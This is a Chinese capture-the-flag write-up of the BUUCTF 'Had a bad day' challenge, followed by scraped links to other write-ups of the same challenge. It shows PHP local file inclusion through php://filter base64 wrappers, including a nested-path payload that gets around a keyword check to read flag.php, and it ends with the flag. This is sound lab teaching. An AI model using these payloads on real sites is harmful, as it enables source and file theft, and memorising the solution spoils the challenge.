BUUCTF [BSidesCF 2020] Had a bad day

考点： php伪协议嵌套

启动环境：

其中包含两个按钮，选择猫和狗的图片：

此时的URL变为：

http://xxx/index.php?category=meowers

其中包含有GET传参，尝试修改category传入的值，得到报错：

其中为include()函数报错，尝试获取index.php页面的源码：php://filter/read=convert.base64-encode/resource=index.php：

尝试了几次，发现不用加.php文件后缀，直接使用index：

得到源码：

<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="description" content="Images that spark joy"><meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0"><title>Had a bad day?</title><link rel="stylesheet" href="css/material.min.css"><link rel="stylesheet" href="css/style.css"></head><body><div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100"><header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800"><div class="mdl-layout__header-row"><span class="mdl-layout-title">Had a bad day?</span><div class="mdl-layout-spacer"></div><div></header><div class="page-ribbon"></div><main class="page-main mdl-layout__content"><div class="page-container mdl-grid"><div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div><div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col"><div class="page-crumbs mdl-color-text--grey-500"></div><h3>Cheer up!</h3><p>Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!</p><div class="page-include"><?php$file = $_GET['category'];if(isset($file)){if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){include ($file . '.php');}else{echo "Sorry, we currently only support woofers and meowers.";}}?></div><form action="index.php" method="get" id="choice"><center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button><button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center></form></div></div></main></div><script src="js/material.min.js"></script></body>
</html>

查看其中的PHP代码：

<?php$file = $_GET['category'];if(isset($file)){if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){include ($file . '.php');}else{echo "Sorry, we currently only support woofers and meowers.";}}
?>

源码分析：

通过GET方式传入变量category的值
传入的值中需包含woofers、meowers、index，才能包含传入的文件

猜测其存在flag.php页面：

查看网页源码，得到提示需要读取flag，尝试继续使用php伪协议读取flag.php

php://filter/read=convert.base64-encode/resource=flag

但源码中说明需要包含woofers、meowers、index，所以查阅资料，php伪协议可以嵌套使用，即构造

php://filter/read=convert.base64-encode/meowers/resource=flag

经过Base64解码，得到flag：

<!-- Can you read this flag? -->
<?php// flag{dabcaf83-e5b1-49b8-ad2f-3b8bffd1b66e}
?>

BUUCTF [BSidesCF 2020] Had a bad day相关推荐

[BUUCTF][BSidesCF 2020]Cards
前言:很久没写博客了,虽然做了好多题,太懒了,这道题单纯就一个爬虫题目文章目录思路 wp 思路我们在每次请求都会有一个SecretState参数,用来保存游戏状态,并且在客户端和服务端同步.这个 ...
BUUCTF WEB [BSidesCF 2020]Had a bad day
BUUCTF WEB [BSidesCF 2020]Had a bad day index.php?category=woofers' 报错 Warning: include(woofers'.php ...
BUUCTF：[BSidesCF 2020]Had a bad day
BUUCTF:[BSidesCF 2020]Had a bad day 可能存在SQL注入或者文件包含,在我尝试读取index.php源码的时候出现了报错信息的确是文件包含,但是有index.php ...
BUUCTF Web [BSidesCF 2020]Had a bad day1
[BSidesCF 2020]Had a bad day1 启动靶机,打开burp,点击WOOFERS抓包可以看到请求中有个meowers的参数,在后面加个'测试通过报错信息可以看出,catego ...
[BSidesCF 2020]Had a bad day
[BSidesCF 2020]Had a bad day 界面就给了俩选项,网页源码也没啥东西,随便点一个选项,也看起来没啥用但是点了后发现可能是sql,但是sql试过了不行这个页面源码有个ind ...
buu做题笔记——[WUSTCTF2020]朴实无华[BSidesCF 2020]Had a bad day
BUU [WUSTCTF2020]朴实无华 robots.txt response level 1 level 2 level 3 [BSidesCF 2020]Had a bad day [WUST ...
[BSidesCF 2020]Had a bad day1
题目来源:BUUCTF在线评测进入靶场有如图页面点击两个选项,发现不断的刷新猫或狗的图片,无特殊信息利用PHP伪协议查看源码,构造payload:index.php?category=php:/ ...
[BSidesCF 2020]Had a bad day_WP
分析文章目录分析 payload 打开题目后是有两个按钮的一个页面分别打开,可以看到url栏的变换 http://04705a2c-5cf1-465e-8749-5822f3e05e20.nod ...
[BSidesCF 2020]Had a bad day -- 关于00截断的衍生
1NDEX 0x00 前言小tips 0x01 复现关于00截断的题外话 0x02 Rethink 0x00 前言点图片时看到url有变动直觉觉得像文件包含协议流读一下册还真是贴一下p ...

BUUCTF [BSidesCF 2020] Had a bad day

BUUCTF [BSidesCF 2020] Had a bad day

BUUCTF [BSidesCF 2020] Had a bad day相关推荐

最新文章

热门文章